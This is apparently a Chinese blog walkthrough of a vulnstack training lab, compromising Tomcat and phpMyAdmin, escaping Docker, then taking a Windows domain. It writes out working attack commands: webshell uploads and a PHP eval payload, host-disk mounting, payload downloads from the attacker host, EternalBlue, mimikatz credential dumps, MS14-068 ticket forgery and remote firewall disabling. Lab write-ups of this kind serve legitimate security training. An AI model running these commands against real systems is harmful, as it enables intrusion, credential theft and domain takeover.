前言
靶机详细信息
1 | http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ |
环境搭建
拓扑图
![]() |
|---|
首先添加一张VMnet2的网卡
![]() |
|---|
配置子网IP为192.168.183.0,并且将该网卡应用于 DC、Win7、Ubuntu。Ubuntu为双网卡,这里我添加的是NAT。
靶机登录密码
1 | 外网服务器:ubuntu |
需要在Ubuntu中开启 docker 服务
1 | sudo docker start ec 17 09 bb da 3d ab ad |
![]() |
|---|
各个虚拟机拿到的ip
Kali
![]() |
|---|
Ubuntu
![]() |
|---|
Win7
![]() |
|---|
*注意 win7的IP后续因为靶机重启后会在183.6 或 183.7之间改变 *
DC
![]() |
|---|
外网打点
主机发现
1 | nmap -sn 172.20.10.1/24 |
![]() |
|---|
这里扫出来172.20.10.5 这台机器,另外两个ip分别是网关 和 kali。
端口扫描
1 | sudo nmap -sS -Pn -sV -v -p 1-65535 172.20.10.5 |
![]() |
|---|
分别开放了22、2001、2002、2003四个端口。
Tomcat CVE-2017-12615漏洞利用
在2002端口中发现tomcat页面
![]() |
|---|
从页面中得到tomcat版本为8.5.19,通过搜索引擎发现存在文件写入漏洞。
可以通过该脚本直接一键利用
1 | https://github.com/cyberheartmi9/CVE-2017-12617/ |
![]() |
|---|
也可以手工。
首先用burp抓一个访问tomcat主页的包
![]() |
|---|
然后将请求包改为如下
![]() |
|---|
1 | PUT /shell.jsp/ HTTP/1.1 |
访问
1 | http://172.20.10.5:2002/shell.jsp |
![]() |
|---|
没有回显,但是可以肯定的是已经存在这个文件了。
因为是使用的冰蝎马,直接使用冰蝎客户端进行连接。
![]() |
|---|
成功连接上。
phpmyadmin CVE-2018-12613漏洞利用
在 2003端口中发现,一个无需登录的 phpmyadmin页面
![]() |
|---|
一个phpmyadmin站点,发现版本号为4.8.1,这个版本存在一个文件包含漏洞 CVE-2018-12613
首先,检测是否存在文件包含漏洞
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../etc/passwd |
![]() |
|---|
把/etc/passwd文件读取出来,是存在文件包含漏洞的。
接下来,在test数据库中创建一张表,名字随便取
![]() |
|---|
然后,字段名字这插入一句话木马
![]() |
|---|
查看浏览器的session值
![]() |
|---|
1 | e7bec897077c4a99f9e6e5da0bed67b5 |
访问
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=phpinfo(); |
![]() |
|---|
通过蚁剑连接
![]() |
|---|
连接不上。
利用file_put_contents写马
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==")); |
1 | PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== |
访问
![]() |
|---|
蚁剑连接
![]() |
|---|
这里成功就拿到了一个webshell权限,接下来,我们将利用该webshell上线MSF的shell
利用webshell派生MSF shell(失败)
生成反弹shell
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=9999 -f elf > shell9999 |
通过蚁剑上传到靶机的/tmp目录下
![]() |
|---|
MSF开启监听
1 | use exploit/multi/handler |
执行
![]() |
|---|
回到msf中
![]() |
|---|
根本就没连接上,目标靶机根本没有打开9999端口。
![]() |
|---|
Docker逃逸
1 | ls -alh /.dockerenv |
![]() |
|---|
发现该web服务存在于docker环境下。
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
利用方式
创建一个目录用于挂载
1 | mkdir /tmp/test |
挂载
1 | mount /dev/sda1 /tmp/test |
这里通过2003端口 phpmyadmin打下来webhsell,是没有权限执行的
![]() |
|---|
网上说,需要通过 2002的tomcat拿到的shell,才行。
切换到tomcat的shell中,执行
1 | mkdir /tmp/test |
![]() |
|---|
成功将 /dev/sda1 挂载到 /tmp/test下
目前我们已经可以访问物理机当中的所有文件,所以这里的利用思路有两种,一种是,在kali中创建一个用户,然后在/etc/passwd和/etc/shadow中该用户的信息复制出来,写入到靶机 /etc/passwd和/etc/shadow下,这样我们就可以用ssh连接上去了。另一种是直接写入 ssh密钥。
第一种方式:通过写入passwd和shadow文件创建用户(失败)
首先在kali中创建用户
1 | # 添加用户 |
![]() |
|---|
查看 passwd 和 shadow中信息
1 | test1:x:3004:3005::/home/test1:/bin/bash |
1 | test1:$y$j9T$B4j3Ux49X5pTOdjWZVEgX0$4iknEZjD18G72k.OLguby8s8bKAdkKXWzEBve48wpbC:19355:0:99999:7::: |
接着在靶机中的passwd和shadow中追加的方式写入上面的信息
1 | echo "test1:x:3004:3005::/home/test1:/bin/bash" >> /tmp/test/etc/passwd |
ssh连接
![]() |
|---|
连不上,一直提示密码错误,也不知道那个环节出现了问题。
使用第二种方式:ssh密钥写入
首先生成rsa密钥
1 | ssh-keygen -t rsa |
![]() |
|---|
进入到/home/kali/.ssh/目录下,用python开启一个http服务
1 | python3 -m http.server |
切换到冰蝎客户端下
进入到 /tmp/test/home/ubuntu/.ssh 目录下,执行
1 | wget http://172.20.10.129:8000/id_rsa.pub |
![]() |
|---|
将 id_rsa.pub.1 重命名为 authorized_keys
1 | mv id_rsa.pub.1 authorized_keys |
赋予 644权限
1 | chmod 644 authorized_keys |
然后回到kali中
1 | ssh ubuntu@172.20.10.5 |
![]() |
|---|
成功免密码登录
权限维持
接下来,在MSF中上线该靶机
生成木马
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988 |
上传至靶机
使用python 开启http服务器
1 | python3 -m http.server |
在刚刚登录的shell中下载
1 | wget http://172.20.10.129:8000/shell9988 |
![]() |
|---|
MSF开启监听
![]() |
|---|
赋予权限并执行
1 | chmod u+x shell9988 |
![]() |
|---|
成功上线
![]() |
|---|
方便后续进行操作。
内网信息收集
查看网卡信息
1 | ifconfig |
![]() |
|---|
发现内网网段
上传fscan进行扫描
1 | ./fscan_amd64 -h 192.168.183.1/24 |
![]() |
|---|
1 | (icmp) Target 192.168.183.5 is alive |
从fscan的扫描结果中可以得知,192.168.183.130是域控服务器,该主机的操作系统为 Windows Server 2008 HPC Edition 7601 Service Pack 1,并且存在永恒之蓝漏洞。192.168.183.6是域成员服务器,该主机的操作系统为 Windows 7 Enterprise 7601 Service Pack 1,并且也存在永恒之蓝漏洞。
横向移动准备
在MSF中,我们刚刚已经上线了外网的靶机。
接下来,给MSF添加通向内网的路由
1 | run post/multi/manage/autoroute |
![]() |
|---|
![]() |
|---|
内网渗透:域成员服务器 win7
永恒之蓝漏洞利用
1 | use exploit/windows/smb/ms17_010_eternalblue |
![]() |
|---|
试了几次依旧失败,可能是MSF自带的添加路由功能不够稳定,换 frp 做代理。
frp 开启socks5代理服务
首先再kali中开启frp服务器
frps.ini
1 | [common] |
1 | ./frps -c frps.ini |
![]() |
|---|
将frp客户端上传至ubuntu 靶机中,然后按如下方式启动
frpc.ini
1 | [common] |
1 | ./frpc -c frpc.ini |
![]() |
|---|
接下来,首先remove移除掉MSF中添加的路由,如果这一步没做,也可能导致利用不成功。
1 | route del 网段 掩码 session |
![]() |
|---|
手动一条条删除,没找到删除全部的办法。
接下来,使用给MSF配置全局代理
1 | setg proxies socks5:127.0.0.1:8088 |
![]() |
|---|
再次使用exploit/windows/smb/ms17_010_eternalblue进行利用
这里win的 IP 由 192.168.183.6 变成了 192.168.183.8
![]() |
|---|
一次成功
主机信息收集
在meterpreter加载kiwi
1 | load kiwi |
执行 获取用户登录口令
![]() |
|---|
一堆看不太懂的字符串,但是却没有拿到用户登录口令。
进入shell
![]() |
|---|
解决乱码问题
1 | chcp 65001 |
创建一个用户
1 | net user fany qwe123@ /add |
![]() |
|---|
开启远程桌面服务
1 | run post/windows/manage/enable_rdp |
![]() |
|---|
使用 kali 中的 rdesktop远程连接上去
1 | proxychains4 rdesktop 192.168.183.7 |
![]() |
|---|
再次回到meterpreter终端中,执行
1 | creds_all |
![]() |
|---|
1 | douser DEMO Dotest123 |
就抓到了域用户的登录口令明文。
如果像上边一样抓不到,就需要自己手动在靶机中登录一次。
MS14-068域用户权限提升
拿到SID
1 | whoami /all |
![]() |
|---|
通过以上信息收集可以得到
1 | 域用户名:douser |
生成高权限票据
命令
1 | MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 |
1 | MS14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 |
在当前靶机的桌面目录c:\Users\douser\Desktop ,已经准备好了MS14-068提权执行文件。
![]() |
|---|
![]() |
|---|
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员
1 | kerberos::purge |
![]() |
|---|
验证
1 | dir \\WIN-ENS2VR5TR3N\c$ |
![]() |
|---|
可以访问到域控的c盘目录。
内网渗透:域控服务器
域控服务器是存在永恒之蓝漏洞的,但是由于开启了防火墙,因为是使用正向的shell,服务启动了,防火墙没有开放该端口,所以只能检测到,但是利用不了。
渗透过程
使用MSF生成一个正向shell
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe |
![]() |
|---|
上传到shell域成员服务器中
注意,这里如果退当前shell再来上传,还需要重新使用mimikatz 导入TGT票据将写入
1 | upload /home/kali/8899.exe c:/ |
![]() |
|---|
关闭域控防火墙
1 | sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" |
![]() |
|---|
将payload复制到域控
1 | xcopy c:\8899.exe \\WIN-ENS2VR5TR3N\c$ |
![]() |
|---|
重新开一个MSF设置监听
1 | use exploit/multi/handler |
![]() |
|---|
创建服务并启动
1 | sc \\WIN-ENS2VR5TR3N create startshell binpath= "C:\8899.exe" |
![]() |
|---|
MSF收到shell
![]() |
|---|
尝试几次后,发现特别容易断开,执行ps, 找一个稳定得进程,马上迁移进程
迁移进程
1 | ps |
![]() |
|---|
1 | migrate 2716 |
![]() |
|---|
主机信息收集
加载 kiwi
1 | load kiwi |
获取用户口令
1 | creds_kerberos |
![]() |
|---|
不是system权限
提权
1 | getsystem |
在执行
1 | creds_kerberos |
![]() |
|---|
成功拿到域控的登录口令
1 | administrator DEMO.COM qwe123!@# |
开启3389
1 | run post/windows/manage/enable_rdp |
![]() |
|---|
在windows下配置代理,直接连接
![]() |
|---|
成功拿下。
参考文章
https://blog.csdn.net/qq_36241198/article/details/121619400
https://blog.csdn.net/weixin_42918771/article/details/116207505
https://blog.csdn.net/weixin_54648419/article/details/123732412









































































